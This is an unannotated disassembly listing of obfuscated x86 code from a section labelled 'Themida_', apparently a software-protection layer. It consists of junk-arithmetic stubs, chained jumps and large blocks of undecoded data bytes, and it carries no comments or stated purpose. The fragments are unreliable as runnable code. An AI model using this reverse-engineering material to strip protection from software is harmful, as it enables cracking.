loc_55B61C:				; CODE XREF: Themida_:00552A50j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5636A8
; ---------------------------------------------------------------------------


loc_55B633:				; CODE XREF: Themida_:0055963Dj
		sub	eax, 10A111Eh
		inc	eax
		or	eax, 752B1890h
		push	edx
		mov	edx, 7A06454Fh
		not	edx
		neg	edx
		sub	edx, 5BCDC631h
		or	eax, edx
		pop	edx
		push	edx
		mov	edx, 0
		jmp	loc_557968
; ---------------------------------------------------------------------------
		dd 4BB53h, 0DA290000h, 2414875Bh, 0E4E5E95Ch, 34FFFFFFh
		dd 8F6CE924h, 64BDFFFFh, 0F739EE0Fh, 0C1E5D1DDh, 0ED8105E5h
		dd 67313188h, 0E908EDC1h, 350h,	243CD25Ch, 58C5E99Ch, 6C81FFFFh
		dd 4A460424h, 0E95F7D20h, 0FFFF67F7h, 0F0E9D029h, 0C1000044h
		dd 814A06E2h, 0E47622C2h, 61BB5319h, 814A1F22h,	6C5D1DEBh
		dd 9CF3810Ch, 812F2C6Ah, 9B13B7C3h, 0BAF38161h,	971A3ADh
		dd 96E95BDAh, 81FFFF92h, 4AD2EEC6h, 5EF03107h, 0FFE796E9h
		dd 0E9E389FFh, 0FFFFD760h, 71F368h, 24148900h, 0A654C1BAh
		dd 0F1EA8178h, 81626A31h, 9D5C0EF2h, 1EA8120h, 57000000h
		dd 624915BFh, 6EFC172h,	0FF90E4E9h, 0C48158FFh,	4, 0E906B353h
		dd 8045h
; ---------------------------------------------------------------------------


loc_55B730:				; CODE XREF: Themida_:00562B3Fj
		shr	eax, 0Eh
		xor	eax, ecx
		push	437h
		mov	[esp], eax
		push	2210h
		mov	[esp], edi
		jmp	loc_56520F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 8304C483h, 0D8E904C4h, 58FFFF85h,	963C102Dh
		dd 1F640526h, 0E8052350h, 511F866Dh, 41B2BB9h, 75CAE960h
		dd 0F581FFFFh, 6B8BBB92h, 0AE9E931h, 89FFFFD4h,	5BD242Ch
		dd 8914E345h, 77D3E9E8h, 5DBE0000h, 29747267h, 5E042474h
		dd 5DBB535Fh, 0E9747267h, 4808h
; ---------------------------------------------------------------------------


loc_55B7A8:				; CODE XREF: Themida_:00562824j
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_564AA5
; ---------------------------------------------------------------------------
		dw 295Fh
		dd 19F605E8h, 5E5D6A98h, 0FFAFC3E9h, 7E5FB8FFh,	0E0C114E2h
		dd 8E0C108h, 2A83E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7D2:				; CODE XREF: Themida_:0055677Fj
		mov	ebx, 533464Bh
		sub	edx, ebx
		pop	ebx
		xor	edx, 5BDC4528h
		jmp	loc_558DE5
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0CB22E95Ch, 34FFFFFFh, 241C8B24h, 4C481h, 68550000h
		dd 155Eh, 0FFC93DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B805:				; CODE XREF: Themida_:005612BDj
		mov	[esp], ebx
		mov	ebx, 35E24526h
		neg	ebx
		shl	ebx, 1
		dec	ebx
		jmp	loc_5613CC
; ---------------------------------------------------------------------------
		db 51h
		dd 0D5300AB9h, 898EE909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B822:				; CODE XREF: Themida_:005658FBj
		shl	esi, 7
		or	esi, 661571F1h
		or	esi, 53F750FEh
		shr	esi, 4
		xor	esi, 5ACCD841h
		sub	ebx, esi
		pop	esi
		add	ebx, 620E20EEh
		jmp	loc_565B8B
; ---------------------------------------------------------------------------
		dd 8704E983h, 248B240Ch, 24048924h, 3529CBB8h, 0BA52557Dh
		dd 37911480h, 0FFCCF8E9h, 0F32959FFh, 0E924348Bh, 0FFFFEDCDh
dword_55B870	dd 4EC8150h, 89000000h,	0E953243Ch, 0FFFF8136h,	0C76AEB81h
					; DATA XREF: Themida_:00550E90o
		dd 0C381F087h, 0EE87C7B5h, 0FBE9D901h, 28FFFF8Ah, 927DE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B89A:				; CODE XREF: Themida_:00556D97j
		mov	esp, [esp]
		pop	esi
		jmp	loc_565980
; ---------------------------------------------------------------------------


loc_55B8A3:				; CODE XREF: Themida_:00557440j
		add	ebp, ebx
		jmp	loc_55E235
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 66C3315Bh, 6800B60Fh, 462Bh,	54243489h, 0FEBF575Eh
		dd 0C129C443h, 0E95308E7h, 1D95h, 0FE7D98BDh, 8EDC14Ch
		dd 2E0CED81h, 77E945C1h, 0F70000A1h, 81DBF7D3h,	9B74ADE3h
		dd 0ADC3810Ch, 81DB2974h, 0C00DC0C1h, 81D92930h, 0C00DC0E9h
		dd 5C45E930h, 0E5800000h, 0C9F58059h, 943DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B90D:				; CODE XREF: Themida_:00551191j
		and	esi, 2F3225F6h
		sub	esi, 5C043BF8h
		jmp	loc_5625E3
; ---------------------------------------------------------------------------


loc_55B91E:				; CODE XREF: Themida_:0055755Aj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_556DB9
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0EBh
		dd 895AC693h, 8E95BDDh,	81FFFFC4h, 87B2C5EEh, 673FE9E6h
		dd 248BFFFFh, 0F8A8E924h, 0C181FFFFh, 6CA451B9h, 723DC981h
		dd 77E91A59h, 31000096h, 240C8BCFh, 5FC8E9h, 243C8B00h
		dd 4C481h, 0D6010000h, 0FF6877E9h, 5FEBBDFFh, 45453BC7h
		dd 5FE9B951h, 0CD313BC7h, 0FFFDB9E9h, 0EC8157FFh, 4, 0B8240489h
		dd 4BCB08EFh, 2158C789h, 243C8BFBh, 0FF7DAAE9h,	0F8EF81FFh
		dd 1580508h, 0F8C781DFh, 5B580508h, 0E165C781h,	28E9AAA1h
		dd 80FFFF92h, 8E90AEFh,	0F6000022h, 66D1F6D9h, 0C1FFE953h
		dd 0E945FFFFh, 8722h, 4AF4ED81h, 0D5E9001Dh, 81FFFF81h
		dd 2459D1E7h, 0FFEF812Eh, 0E91694F3h, 0FFFF6CF8h
; ---------------------------------------------------------------------------


loc_55B9FC:				; CODE XREF: Themida_:00564A1Cj
		add	ebp, 2A91D398h
		push	edx
		mov	edx, 1ECAF228h
		sub	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		sub	edx, eax
		jmp	loc_5585DA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 405E089h, 83000000h,	48704C0h, 3250E924h, 0DE310000h
		dd 39D5E9h, 241C8900h, 123EFABBh, 0E3814B0Dh, 213421B9h
		dd 8BD9E955h, 0FFBE0000h, 0E9FFFFFBh, 0FFFFDE8Eh
; ---------------------------------------------------------------------------


loc_55BA50:				; CODE XREF: Themida_:0055FD74j
		pop	ebx
		xor	ebx, 716E3A35h
		mov	edi, ebx
		pop	ebx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_564A7B
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8104C483h, 0DE664AC6h, 1268576Ah, 89000035h,	0A3682414h
		dd 0E9000026h, 0FFFF6465h, 0E9243C89h, 0FFFFE188h, 50241C89h
		dd 0E388D7B4h, 0E924048Bh, 6021h
; ---------------------------------------------------------------------------


loc_55BA9C:				; CODE XREF: Themida_:005642C1j
		pop	esp
		jmp	loc_5517C4
; ---------------------------------------------------------------------------
word_55BAA2	dw 2CACh		; DATA XREF: Themida_:00550E78o
		dd 0A1E95312h, 6800002Eh, 1A48h, 3C1BE954h, 2C310000h
		dd 242C3324h, 3124248Bh, 30FF66C3h, 0FF5496E9h,	0E3C05AFFh
		dd 4EC8306h, 0B5240C89h, 50D5F62Ah, 0ECC068B4h,	50CCFE08h
		dd 12454F6h, 7DD0E9h, 4C18300h,	8B240C87h, 0BF0F2424h
		dd 707A68C8h, 0C890000h, 545DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB02:				; CODE XREF: Themida_:00555584j
		xchg	ecx, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dd offset dword_51AC48+509h
		db 0CBh, 59h, 0E9h
		dd 4FF8h, 951EE952h, 8B540000h,	0C4832414h, 4C28104h, 55000000h
		dd 0D45F2ABDh, 0B6CD8114h, 8110763Ah, 98046C5h,	5DEA01EBh
		dd 5C241487h, 1B54BB53h, 815127DBh, 4ECh, 24348900h, 55D868h
		dd 8EF1E94Eh, 28580000h, 24148BF3h, 4C483h, 0ECC380CBh
		dd 0D3C38059h, 676FE9h,	4BF5700h, 1000000h, 85E95FFEh
		db 8, 2	dup(0)
byte_55BB87	db 0FFh			; DATA XREF: Themida_:00550EE4o
		dd 34FF3C77h, 24048B24h, 4C481h, 37E90000h, 81000002h
		dd 0F364BEC6h, 946FE97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBA6:				; CODE XREF: Themida_:00555442j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	12CEh
		jmp	loc_556799
; ---------------------------------------------------------------------------
		dw 0FE31h
		dd 0D6F7F731h, 0DF87F787h, 81DF874Bh, 0F7044ACFh, 7963E927h
		dd 0DEF7FFFFh, 0F681EED1h, 3BD04DE5h, 63A9BF57h, 0E7811A7Ch
		dd 2FE03B15h, 7707E781h, 0C7812ECAh, 236219A1h,	1D7AC681h
		dd 0FE0123F6h, 1D7AEE81h, 685F23F6h, 101Eh, 5FBDE9h, 0E4C58100h
		dd 317F716Eh, 0CD215DE9h, 0E9FD8759h, 801h
; ---------------------------------------------------------------------------


loc_55BC20:				; CODE XREF: Themida_:0055372Cj
		mov	eax, [esp]
		jmp	loc_563B8C
; ---------------------------------------------------------------------------
		dd 0F6EFB151h, 80C9FED1h, 0CB00F7C1h, 81240C8Bh, 4C4h
		dd 44CFE900h, 1660000h,	665866C3h, 34816653h, 6660B624h
		dd 0F581665Dh, 665B60B6h, 3D19E581h, 0FFA0B9E9h, 0BA525CFFh
		dd 25C13BFAh, 148BD131h, 4C48124h, 0E9000000h, 0FFFFE5C6h
		dd 5FCAC681h, 0E6C15F6Ch, 3473E903h, 525E0000h,	54DFE2BAh
		dd 5C381A3h, 1698B72h, 0EBE956D3h, 0B3FFFFEFh, 0A82CE933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCA2:				; CODE XREF: Themida_:0055EBF9j
		mov	edx, 0FDA8D663h
		jmp	loc_55DF0D
; ---------------------------------------------------------------------------
		dd 1CD168h, 768BE900h, 481FFFFh, 424h, 0C1815900h, 4, 0FFADABE9h
		dd 7C0158FFh, 0C7E90424h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCD3:				; CODE XREF: Themida_:00558EB5j
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55D94D
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF6161h, 0B9DCE956h, 0D8BFFFFFh, 8125C53Dh, 6420D5C3h
		dd 8581E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BD06:				; CODE XREF: Themida_:0055CA42j
		pop	edx
		add	esi, 4E2A64E1h
		jmp	loc_554433
; ---------------------------------------------------------------------------
aAZsds		db '─цZИD▒',0
		align 2


loc_55BD1A:				; CODE XREF: Themida_:005533D3j
		push	dword ptr [esp]
		jmp	loc_55C2C4
; ---------------------------------------------------------------------------
word_55BD22	dw 4ACh			; DATA XREF: Themida_:00550E00o
		dd 0E9C404D6h, 588Fh, 0D828C204h, 8059E9h, 0E9FE2900h
		dd 3421h, 81E9EE01h, 5AFFFFB0h,	0FFCE5FE9h, 4D028FFh, 2434FFAAh
		dd 0E289525Ah, 4C281h, 0E9510000h, 0FFFF5A45h, 0B4BF575Fh
		dd 13A4F33h, 243C8BF8h,	54F9E9h, 0C6815E00h, 4,	8704C683h
		dd 685C2434h, 71BFh, 169AE9h, 58C22900h, 9BC2E9h, 0E7895700h
		dd 4BD55h, 0E9560000h, 0FFFF875Eh
; ---------------------------------------------------------------------------


loc_55BDA0:				; CODE XREF: Themida_:00561371j
		mov	ebp, 3672381Ch
		jmp	loc_56069D
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 7EC901CCh, 815EF189h, 0F630F9C3h, 81CB017Bh,	0F630F9EBh
		dd 2434FF7Bh, 81240C8Bh, 4C4h, 224EE900h, 68500000h, 391Fh
		dd 81242489h, 42404h, 48B0000h,	4C48324h, 79E95450h, 81FFFF59h
		dd 0C07A59E9h, 59CF0152h, 34FFF801h, 243C8B24h,	18AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BE05:				; CODE XREF: Themida_:005556B2j
		add	esp, 4
		or	edi, ebx
		pop	ebx
		and	edi, 2A2006C2h
		sub	edi, 0FFFFFFFFh
		push	7AC1h
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, edi
		push	ebp
		mov	ebp, ecx
		mov	edi, ebp
		pop	ebp
		pop	ecx
		jmp	loc_55521C
; ---------------------------------------------------------------------------


loc_55BE32:				; CODE XREF: Themida_:0056335Fj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_551D15
; ---------------------------------------------------------------------------


loc_55BE40:				; CODE XREF: Themida_:005574ECj
		shl	eax, 5
		sub	eax, 776F7F70h
		push	edi
		mov	edi, 13164BDCh
		add	eax, edi
		jmp	loc_557DE7
; ---------------------------------------------------------------------------


loc_55BE55:				; CODE XREF: Themida_:005562EEj
		add	edi, 832F29D2h
		jmp	loc_563816
; ---------------------------------------------------------------------------
		dd 815DE931h, 856419EBh, 81CB295Bh, 856419C3h, 0B511E95Bh
		dd 0EA81FFFFh, 62F121C0h, 0FF7408E9h, 0D2C181FFh, 0E9D60A37h
		dd 0FFFF98BAh, 54241C89h, 6AD8685Bh, 14890000h,	78EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE9E:				; CODE XREF: Themida_:00563804j
		not	edi
		xor	edi, 26D2216Eh
		shr	edi, 8
		and	edi, 0CED40F6h
		xor	edi, 0FCF031F4h
		sub	ebx, edi
		pop	edi
		jmp	loc_55F743
; ---------------------------------------------------------------------------


loc_55BEBD:				; CODE XREF: Themida_:0055126Dj
		pop	edi
		xor	edx, 0BE76D7F7h
		mov	eax, edx
		pop	edx
		add	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		sub	edx, 6B7D0E7Ch
		jmp	loc_559071
; ---------------------------------------------------------------------------
		db 1
		dd 58042444h, 0BDCDE95Fh, 9BB8FFFFh, 31076379h,	92E4E9C5h
		dd 90B2FFFFh, 0FE3EB252h, 8EAC0CAh, 0C9C280h, 0D0285AD0h
		dd 28C9B252h, 8B665AD0h, 0C4812414h, 2,	0B1515266h, 288DB6D4h
		dd 0F02859CEh, 0E30E9h,	66F03000h, 5724148Bh, 0C781E789h
		dd 4, 8704EF83h, 0E95C243Ch, 0FFFF9C01h, 0EF81D7F7h, 19FC1CF6h
		dd 86BCF781h, 0FE297DD8h, 5F2434FFh, 8904C483h,	2434FFF3h
		dd 4C4835Eh, 684E68h, 24348900h, 21BA5253h, 81040E02h
		dd 443F59E2h, 0F2E9423Dh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF7B:				; CODE XREF: Themida_:00553277j
		pop	esp
		jmp	loc_564C9C
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 2EC58004h, 49CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF8D:				; CODE XREF: Themida_:00559CEFj
		sub	ebp, 76384579h
		sub	ebp, 52B14212h
		sub	ebp, 46EB7AD7h
		jmp	loc_5528A8
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0ACE9C300h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFB3:				; CODE XREF: Themida_:00559146j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_55C7EF
; ---------------------------------------------------------------------------


loc_55BFC2:				; CODE XREF: Themida_:0055ED03j
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 3C3976E1h
		jmp	loc_55AD82
; ---------------------------------------------------------------------------
		dw 13B8h
		dd 2D0E654Dh, 1FD6044Ah, 0E904E8C1h, 0FFFFE137h, 5C24048Fh
		dd 0E9241489h, 71A6h
; ---------------------------------------------------------------------------


loc_55BFF4:				; CODE XREF: Themida_:00551D41j
		add	eax, 0C1008231h
		mov	ebp, eax
		jmp	loc_561F94
; ---------------------------------------------------------------------------


loc_55C000:				; CODE XREF: Themida_:00558446j
		mov	[esp], edx
		jmp	loc_5513D0
; ---------------------------------------------------------------------------
		dd 0F680CEB6h, 5AF00050h, 0FF6223E9h, 24048FFFh, 2024248Bh
		dd 0E99C2404h, 0FFFF4F3Bh, 57E26852h, 0C15A1B35h, 0E28102EAh
		dd 625936D7h, 0FF8C64E9h, 98E959FFh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C03F:				; CODE XREF: Themida_:00565699j
		shr	ecx, 7
		push	ebx
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 72FE5A43h
		push	edi
		pop	ebp
		jmp	loc_563017
; ---------------------------------------------------------------------------
		dw 95Ch
		dd 0E99C2404h, 0FFFF4EEFh
; ---------------------------------------------------------------------------


loc_55C070:				; CODE XREF: Themida_:0055A1CBj
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, 63C25049h
		and	edi, 3FE073D9h
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	edx
		jmp	loc_56371A
; ---------------------------------------------------------------------------
		db 66h,	21h, 0FAh
		dd 0FF9280E9h, 243C89FFh, 8B2434FFh, 0C4832414h, 4C48104h
		dd 8B000000h, 8952243Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 31D0315Ch, 0E9D031C2h, 0FFFFC80Bh
; ---------------------------------------------------------------------------


loc_55C0C8:				; CODE XREF: Themida_:005651D0j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5659DB
; ---------------------------------------------------------------------------


loc_55C0E1:				; CODE XREF: Themida_:0055D1FBj
		sub	ebp, edx
		add	ebp, 201A1C34h
		pop	edx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_564C7F
		push	5A97h
		jmp	loc_560E25
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE565EF3h, 403045B6h, 0E95EF309h, 0FFFF95A7h
dword_55C110	dd 240C8B66h, 734BE957h, 3487FFFFh, 0C1815C24h,	2, 2474FF51h
					; DATA XREF: Themida_:00550EB0o
		dd 2434FF04h, 4C48359h,	8B24048Fh, 8B662424h, 54522404h
		dd 7768555Ah, 89000067h, 0E951241Ch, 5A93h
; ---------------------------------------------------------------------------


loc_55C14C:				; CODE XREF: Themida_:00559077j
		not	edi
		sub	edi, 6C0E67DEh
		or	edi, 5CB69CCh
		or	edi, 35A75797h
		xor	edi, 48252257h
		add	edx, edi
		pop	edi
		add	edx, ebx
		sub	edx, 75DA5DA8h
		add	edx, 6B7D0E7Ch
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5552DE
; ---------------------------------------------------------------------------
byte_55C18B	db 31h			; DATA XREF: Themida_:00550D44o
		dd 0C33240Ch, 240C3124h, 0CB31D931h, 8953D931h,	4C381E3h
		dd 0E9000000h, 0FFFFCE48h
; ---------------------------------------------------------------------------


loc_55C1A8:				; CODE XREF: Themida_:005554EFj
		add	esi, eax
		sub	esi, 2D4F3A2Eh
		jmp	loc_55845F
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 34h
		dd 24343124h, 0FF6595E9h, 243489FFh, 2BEh, 5EF50100h, 31242C33h
		dd 59E9242Ch, 1FFFF8Ch,	7ACBE9E9h, 1C33FFFFh, 0C895C24h
		dd 6A65E924h, 0E5810000h, 38BD6C9Fh, 0DD87DDF7h, 0DD87D3F7h
		dd 6808EDC1h, 4C66h, 0FF8E03E9h, 88DC88FFh, 0E95B58E6h
		dd 0FFFFFD15h
; ---------------------------------------------------------------------------


loc_55C210:				; CODE XREF: Themida_:0056503Bj
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55A66B
; ---------------------------------------------------------------------------
aWs_0		db 'WИЁ',27h,0
		align 4
		dd 0FF240C89h, 0E9042474h, 0FFFF91A0h, 348BF029h, 4C48324h
		dd 5BB5351h, 572F7F15h,	0FF51D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C245:				; CODE XREF: Themida_:00557AE8j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5598C3
; ---------------------------------------------------------------------------
aHdIfS_r	db 'hd{┬F^И_r',0
		db 0
; ---------------------------------------------------------------------------


loc_55C25B:				; CODE XREF: Themida_:0055944Cj
		push	esp
		jmp	loc_55E0E9
; ---------------------------------------------------------------------------


loc_55C261:				; CODE XREF: Themida_:005574BEj
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_552845
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0E9C3285Ch,	0FFFFF9ACh, 8B241487h
		dd 51662424h, 53662AB1h, 0B2524AB3h, 36CA80CDh,	0EA80D2F6h
		dd 0E9D028DDh, 0FFFF6A44h, 6DF5E941h, 0B151FFFFh, 59CF2094h
		dd 8036CF80h, 0C78072F7h, 478F6836h, 4890000h, 4EB65224h
		dd 0E95AF488h, 0FFFFA601h
; ---------------------------------------------------------------------------


loc_55C2C4:				; CODE XREF: Themida_:0055BD1Dj
		pop	edi
		jmp	loc_55830A
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 0C481241Ch, 4, 5C243487h, 47B068h, 243C8900h, 633C86BFh
		dd 246C815Dh, 2A48C104h, 247C2935h, 0C1BB5304h,	1352A48h
		dd 5B08245Ch, 242C815Fh, 6B9407C7h, 3E240481h, 0E9147D11h
		dd 0FFFF705Dh, 3428F381h, 0DBF74F85h, 8108EBC1h, 0B15EBEEBh
		dd 5BD98900h, 4244C01h,	0EC835B59h, 65A3E904h, 0CD810000h
		dd 67EE655Dh, 1A99F581h, 0CD811A1Ah, 1F5A1596h,	9E2F581h
		dd 0C5813B1Ch, 1BEEC528h, 60E9EB09h, 59000089h,	6BE6E9h
		dd 4C4C0500h, 8FE97041h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C367:				; CODE XREF: Themida_:00551735j
		add	esp, 4
		add	edx, 4
		push	ebx
		push	5091h
		mov	[esp], edi
		mov	edi, 24037158h
		sub	edi, 18482F73h
		push	ebp
		mov	ebp, 346F69C7h
		and	edi, ebp
		jmp	loc_5571A0
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C281E289h, 4, 8704C283h, 8F5C2414h,	0C7E92404h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3AB:				; CODE XREF: Themida_:00561CADj
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_55AB9F
; ---------------------------------------------------------------------------


loc_55C3BB:				; CODE XREF: Themida_:005585BCj
		sub	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_560AEF
; ---------------------------------------------------------------------------


loc_55C3CE:				; CODE XREF: Themida_:00551D01j
		add	esp, 4
		jmp	loc_565542
; ---------------------------------------------------------------------------
		db 0B4h, 0Ch, 28h
		dd 241C8BDCh, 8804C483h, 0F78058E7h, 0FFF83046h, 34FF2434h
		dd 0C4815B24h, 4, 165168h, 7E43E900h, 0AEB60000h, 0E956C680h
		dd 51FCh, 3304C683h, 34312434h,	24343324h, 2414875Ch, 0FFF529E9h
		dd 0E9D7F7FFh, 76Ch, 4BD554Bh, 31288E6Eh, 0DF895DEBh, 2444815Bh
		dd 49617E04h, 5ABE5663h, 29320C2Bh, 0E9082474h,	3B7Fh
		dd 2B63ED81h, 34FF7EF1h, 0DE2CE924h, 5966FFFFh,	0FE5AF308h
		dd 80D3F6CBh, 39E938CBh, 83FFFF75h, 48704C0h, 0C4815C24h
		dd 4, 519D68h, 242C8900h, 0FFA80EE9h, 87DDF7FFh, 2CADE9D5h
		dd 34BB0000h, 52777575h, 0D089DA89h, 552DE9h, 2434FF00h
		dd 81242C8Bh, 4C4h, 0AE0AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4AE:				; CODE XREF: Themida_:00556D5Ej
		add	eax, esi
		add	eax, 6B3A37B5h
		jmp	loc_55915F
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 2BFDh, 2CBAE681h, 0E9463C5Bh, 0FFFFF473h, 33BF5756h
		dd 68005F4Ah, 6A8Bh, 53240C89h,	5FC0E9h, 0A7BA5200h, 163F56Ch
		dd 85E95AD3h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4EF:				; CODE XREF: Themida_:0055DDFAj
		pop	edx
		sub	edi, 0ED53FFF1h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	esi
		push	35C31F5Bh
		pop	esi
		jmp	loc_5557B3
; ---------------------------------------------------------------------------
byte_55C50B	db 66h			; DATA XREF: Themida_:00550D5Co
		dd 55240C8Bh, 6804EC83h, 0BB9h,	0FFB7A9E9h, 24148BFFh
		dd 4C481h, 48F0000h, 24248B24h,	9C2404FFh, 0FF4A2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C535:				; CODE XREF: Themida_:00556B4Fj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	1031h
		jmp	loc_55D183
; ---------------------------------------------------------------------------
		db 89h
		dd 0E08E9D7h, 81BE0000h, 0E97B461Eh, 3128h, 0E9241C8Bh
		dd 38B0h, 24048B54h, 4C481h, 4050000h, 0E9000000h, 8676h
		dd 24148B58h, 0E904C483h, 0FFFF7A2Dh, 2E2868h, 240C8900h
		dd 5A79F0B9h, 0F7D1F737h, 96E7E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C59E:				; CODE XREF: Themida_:005535BFj
		xor	ebx, edi
		pop	edi
		dec	ebx
		not	ebx
		jmp	loc_556533
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF7453h, 0C2B7C581h, 0EF29E1E1h, 243C875Dh
		dd 8924248Bh, 0FAE92404h, 81000084h, 0E1490EEBh, 83E95F19h
		dd 0BBFFFF8Ch, 7CEE41FDh, 0FF778CE9h, 14F757FFh, 0DFF75F24h
		dd 6AFBB951h, 0CF29B724h, 5FFB0159h, 0C2E9D301h, 81000027h
		dd 205071C5h, 5DEA896Bh, 0FFB95AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C609:				; CODE XREF: Themida_:005542BFj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [eax]
		jmp	loc_55EB04
; ---------------------------------------------------------------------------


loc_55C617:				; CODE XREF: Themida_:00556F27j
		push	5C84h
		jmp	loc_55541F
; ---------------------------------------------------------------------------
aA4sde		db '─л4И╓e',0
		dd 2C48100h, 66000000h,	0F967C581h, 81665566h, 5C02434h
		dd 245DE9h, 4CE99300h, 83FFFF81h, 348704C6h, 24248B24h
		dd 24506866h, 240C8966h, 716468h, 24048900h, 0DBE95152h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C667:				; CODE XREF: Themida_:0055A263j
		add	ebp, 308D5FEEh
		inc	ebp
		add	ebp, 6B462096h
		xor	ebp, 6D9D3291h
		jmp	loc_559333
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 0C6815C24h, 2, 31243433h,	34332434h, 24248B24h
		dd 0FFE995E9h, 1383B9FFh, 0C131485Fh, 68C10158h, 6E02h
		dd 0B8240489h, 0
		dd 0E8311205h, 53C80148h, 285E4DBBh, 6816h, 2C810000h
		dd 0C83C2524h, 5DC0E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6D2:				; CODE XREF: Themida_:005576F8j
		push	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_56236B
; ---------------------------------------------------------------------------
		dw 5A66h
		dd 0D0F6C8FEh, 5454E9h,	0C8295B00h, 54C9E9h, 62C78100h
		dd 0C15AE80Eh, 0EF8104EFh, 250A38Bh, 5F5FFA29h,	0FFCC35E9h
		dd 1F280FFh, 148BD700h,	4C48124h, 2C000000h, 4F80045h
		dd 6CE95B45h, 51000025h, 0C181E189h, 4,	441DE9h, 0FFC18000h
		dd 0E9D4E980h, 0FFFFE1FBh, 5E5F5657h, 1ECEB850h, 0D8F730E4h
		dd 0C1065125h, 1B442571h, 680D0741h, 48452360h,	0BC142135h
		dd 0E9C72976h, 0FFFF8902h
; ---------------------------------------------------------------------------


loc_55C764:				; CODE XREF: Themida_:0055731Ej
		neg	ebp
		jmp	loc_55D598
; ---------------------------------------------------------------------------
		db 68h
		dd 3484h, 0B7241C89h, 5EB05032h, 66AE9h, 0C8B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
